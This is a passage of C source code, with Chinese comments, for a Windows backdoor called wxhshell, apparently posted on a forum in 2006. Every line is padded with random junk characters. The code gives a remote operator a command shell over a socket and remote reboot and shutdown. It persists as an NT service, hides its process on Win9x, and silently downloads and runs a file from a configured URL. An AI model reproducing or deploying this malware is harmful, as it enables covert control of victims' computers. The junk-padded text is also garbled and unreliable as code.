  // 帮助 |k> _ jO  
  case '?': { yHhBUpIo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  $3%EKi  
    break; 810u +%fu  
  } r>`65o  
  // 安装 O&irgc!  
  case 'i': { 6P!M+PO  
    if(Install()) (3"V5r`*;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?)<==^  
    else oO>mGl36H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UMw1&"0:  
    break; z}N=Oe  
    } }S$]MY,*  
  // 卸载 rRL:]%POT  
  case 'r': { Hc4]2pf  
    if(Uninstall()) 2rf-pdOvG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xO6)lVd  
    else o|AV2FM)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QVI4<Rxg  
    break; 6<R!`N 6  
    } ~(%nnG6x  
  // 显示 wxhshell 所在路径 X) xQKkL0  
  case 'p': { X[ }5hZcX  
    char svExeFile[MAX_PATH]; sUcx;<|BC  
    strcpy(svExeFile,"\n\r"); Y+sycdq  
      strcat(svExeFile,ExeFile); soXeHjNl  
        send(wsh,svExeFile,strlen(svExeFile),0); sC48o'8(  
    break; /A4zR  
    } X4lz?Y:*  
  // 重启 jX!,xS%(  
  case 'b': { (5re'Pl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [&y{z-D>  
    if(Boot(REBOOT)) try'%0}>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V,fSn:8%M  
    else { dmW0SK   
    closesocket(wsh); nWfOiw-t  
    ExitThread(0); $uF} GP_)  
    } NSUw7hnWvz  
    break; ^i2W=A'P  
    } b'4{l[3~nl  
  // 关机 gh|TlvnA  
  case 'd': { aRdzXq#x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8TZNvN4u  
    if(Boot(SHUTDOWN))  PW x9CT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jc"xH~,  
    else { Ro`9Ibqr  
    closesocket(wsh); o nt8q8  
    ExitThread(0); 0 Ji>dr n  
    } F$7>q'#  
    break; H[UV]qO,  
    } 1WRQjT=o  
  // 获取shell V)72]p  
  case 's': { Va"Q1 *"  
    CmdShell(wsh); /qa{*"2Qo  
    closesocket(wsh); D |kdk;Xv  
    ExitThread(0); F~2bCy[Z  
    break; s4/4o_[W  
  } D]\of#%T  
  // 退出 c! vtQ<h-  
  case 'x': { eW, {E)x:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?zGx]?1P1<  
    CloseIt(wsh); bfcQ(m5  
    break; T^> ST  
    } FD:3;nUY7  
  // 离开 AI0YK"c?  
  case 'q': { ce@1#}*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 82l$]W4  
    closesocket(wsh); Y S/x;  
    WSACleanup(); q#B=PZ'NA  
    exit(1); f]%:.N~1w  
    break; Wu3or"lcw*  
        } OGW,[k= 2{  
  } BdBwfH%:  
  } '/8{Mx+  
C+o1.#]JM  
  // 提示信息 0z&]imU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qF'lh  
} ;Z^\$v9?  
  } C.qN Bl*  
'u@,,FFz[K  
  return; T_iX1blrgh  
} U9"g;t+/   
U'~M(9uv:  
// shell模块句柄 4z<nJOEh[  
int CmdShell(SOCKET sock) W]Bc7JM]T+  
{ (;\" K?  
STARTUPINFO si; slUnB6@Q  
ZeroMemory(&si,sizeof(si)); 6Qtyv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZHu"& &  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4eVQO%&2  
PROCESS_INFORMATION ProcessInfo; uuHg=8(  
char cmdline[]="cmd"; Qa`+-W u8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m\zCHX#n  
  return 0; a]H&k$!c  
} F8xz^UQO  
g[G+s4Nv  
// 自身启动模式 wrP3:!=  
int StartFromService(void) -S\gDB bb  
{ qa-%j+  
typedef struct mD5Vsy{Pb  
{ r+TvC{  
  DWORD ExitStatus; /]U),LbN  
  DWORD PebBaseAddress; ":v^Y 9  
  DWORD AffinityMask; [0bp1S~  
  DWORD BasePriority; &=f] a  
  ULONG UniqueProcessId; M r-l  
  ULONG InheritedFromUniqueProcessId; b=@H5XTZyK  
}   PROCESS_BASIC_INFORMATION; W3+;1S$k  
vVhSl$mW  
PROCNTQSIP NtQueryInformationProcess; `. i #3P  
N)X 3pWC8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L;\f^v(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PGd?c#v#  
E]w2 {%  
  HANDLE             hProcess; = }ELu@\V[  
  PROCESS_BASIC_INFORMATION pbi; @[LM8 @:  
-M6#,Ji  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \h>6k  
  if(NULL == hInst ) return 0; |zbM$37 ?k  
`\beQ(g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cb=ixn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =Q,D3F -+f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5X PoQ^  
I*z|_}$  
  if (!NtQueryInformationProcess) return 0; &8;Fi2}(L  
`#*`hH8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }wB!Bx2  
  if(!hProcess) return 0; &E]<KbVx  
AvVPPEryal  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g#Z7ReMw  
sF Ph?  
  CloseHandle(hProcess); C%#w1k  
5d;(D i5z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6W< Ig;  
if(hProcess==NULL) return 0; Alv"D  
m2%n:  
HMODULE hMod; fh*7VuAc  
char procName[255]; mg< v9#  
unsigned long cbNeeded; },=ORIB B:  
!'C8sNs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z,-J tl  
e= XC$Jv  
  CloseHandle(hProcess); VtzBYza  
}tW1\@ =  
if(strstr(procName,"services")) return 1; // 以服务启动 >}bkX 6c5  
e<{waJ1  
  return 0; // 注册表启动 usNq]  
} :*vSC:q  
a$EudD#+  
// 主模块 zjTCq; G  
int StartWxhshell(LPSTR lpCmdLine) cj4o[l  
{ l*Q OM  
  SOCKET wsl; iL<FF N~{  
BOOL val=TRUE; ^?: Az  
  int port=0; qYPgn _  
  struct sockaddr_in door; 5s%FHa  
iOk`_LG#  
  if(wscfg.ws_autoins) Install(); rM4Ri}bS  
L<G6)'5W  
port=atoi(lpCmdLine); tR .>d  
sHPlNwyy  
if(port<=0) port=wscfg.ws_port; <'j ygZ(  
>_#A*B|  
  WSADATA data; [,Y;#;   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A9WOu*G1O  
/GO((v+J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *o6QBb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8/}S/$  
  door.sin_family = AF_INET; #4AqWyp#f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -j^G4J  
  door.sin_port = htons(port); -aDBdZ;y  
2h) *  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bv``PSb3  
closesocket(wsl); KhPDXY]!  
return 1; mp0s>R  
} QZ5%nJme_  
M2A3]wd2a  
  if(listen(wsl,2) == INVALID_SOCKET) { zR%)@wh  
closesocket(wsl); ; X/'ujg  
return 1; R_IT${O  
} 0a+U >S#  
  Wxhshell(wsl); >qdRqy)DC  
  WSACleanup(); R?] S<Z  
1 y7$"N8Xo  
return 0; Zf?jnDA  
hAB:;r XlI  
} 2~)q080jh  
j[w5#]&%  
// 以NT服务方式启动 +7t:/_b~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1! R:}r3t  
{ .Zx7+`i  
DWORD   status = 0; I -XkxDw  
  DWORD   specificError = 0xfffffff; 7D4I>N'T  
ra]\!;}L0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tTe:Oq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V/8yW3]Xy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Jy > ,~O  
  serviceStatus.dwWin32ExitCode     = 0; K st2.Yy  
  serviceStatus.dwServiceSpecificExitCode = 0; XOzZtt  
  serviceStatus.dwCheckPoint       = 0; 6 wD  
  serviceStatus.dwWaitHint       = 0; y|%lw%cSe  
(P nrY~9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <-|g>  
  if (hServiceStatusHandle==0) return; ,) }-mu  
gk"J+uM  
status = GetLastError(); g@S?5S.Av  
  if (status!=NO_ERROR) E"%G@,|3*  
{ ;hPo5uZQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1L.yh U\  
    serviceStatus.dwCheckPoint       = 0; gd;e-.  
    serviceStatus.dwWaitHint       = 0; r)Iq47Uiw  
    serviceStatus.dwWin32ExitCode     = status; bhT:MW!  
    serviceStatus.dwServiceSpecificExitCode = specificError; mvBUm-X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "cX*GTNi8  
    return; {FM:\/  
  } YRP$tz+ _  
QLyBP!X-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CA ,0Fe3  
  serviceStatus.dwCheckPoint       = 0; n]%yf9,w  
  serviceStatus.dwWaitHint       = 0; nL* SNQ_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3Y=?~!,Jk  
}  4K$d%  
y :8Oc?  
// 处理NT服务事件,比如:启动、停止 qXQ7Jg9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6V c&g  
{ 2;=xH t  
switch(fdwControl) Uzd\#edxJ  
{ gR) )K)  
case SERVICE_CONTROL_STOP: =ZN~*HLl}  
  serviceStatus.dwWin32ExitCode = 0; 9p<ZSh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S%m$LM]NCg  
  serviceStatus.dwCheckPoint   = 0; 9!oNyqQ  
  serviceStatus.dwWaitHint     = 0; 2M+'9 +k~  
  { '#0'_9}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~!W{C_*N  
  } +eD+Z.{  
  return; RgT|^|ZA  
case SERVICE_CONTROL_PAUSE: u@-x3%W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4&([<gyR<  
  break; IPT\d^|f  
case SERVICE_CONTROL_CONTINUE: -:o4|&g<*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {z/Y~rf  
  break; *R6Ed  
case SERVICE_CONTROL_INTERROGATE: \`M8Mu9~w  
  break; Th)Z?\8zk  
}; 2bk~6Osp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K=82fF(-  
} S( r Fa  
$.2#G"|  
// 标准应用程序主函数 qKg*/)sD(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) td#B$$[  
{ oMV<Yn_<  
[~<X|_L G  
// 获取操作系统版本 Q5H! ^RQm  
OsIsNt=GetOsVer(); .v{ok,&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e1 j3X\ \  
TZk.?@s5  
  // 从命令行安装 ]FNqNZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); |8m;}&r$  
MIJ^ n(-G  
  // 下载执行文件 O+^l>+ZGj?  
if(wscfg.ws_downexe) { plRBfw>]N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *Jy'3o  
  WinExec(wscfg.ws_filenam,SW_HIDE); /RzL,~]  
} $R2iSu{kO  
z"n7du}v  
if(!OsIsNt) { l$~3_3+  
// 如果时win9x,隐藏进程并且设置为注册表启动 aI l}|n"  
HideProc(); *|T]('xwC  
StartWxhshell(lpCmdLine); ,33[/j  
} uoM;p'  
else #ONad0T;  
  if(StartFromService()) \Y0o~JD  
  // 以服务方式启动 0 xUw}T6  
  StartServiceCtrlDispatcher(DispatchTable); 1@)kNg)*$  
else #MyR:V*a  
  // 普通方式启动 s?8vs%(l  
  StartWxhshell(lpCmdLine); x9s 7:F  
 a9ko3L  
return 0; s^{hdCCl67  
}
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只看该作者 1 发表于: 2006-10-10
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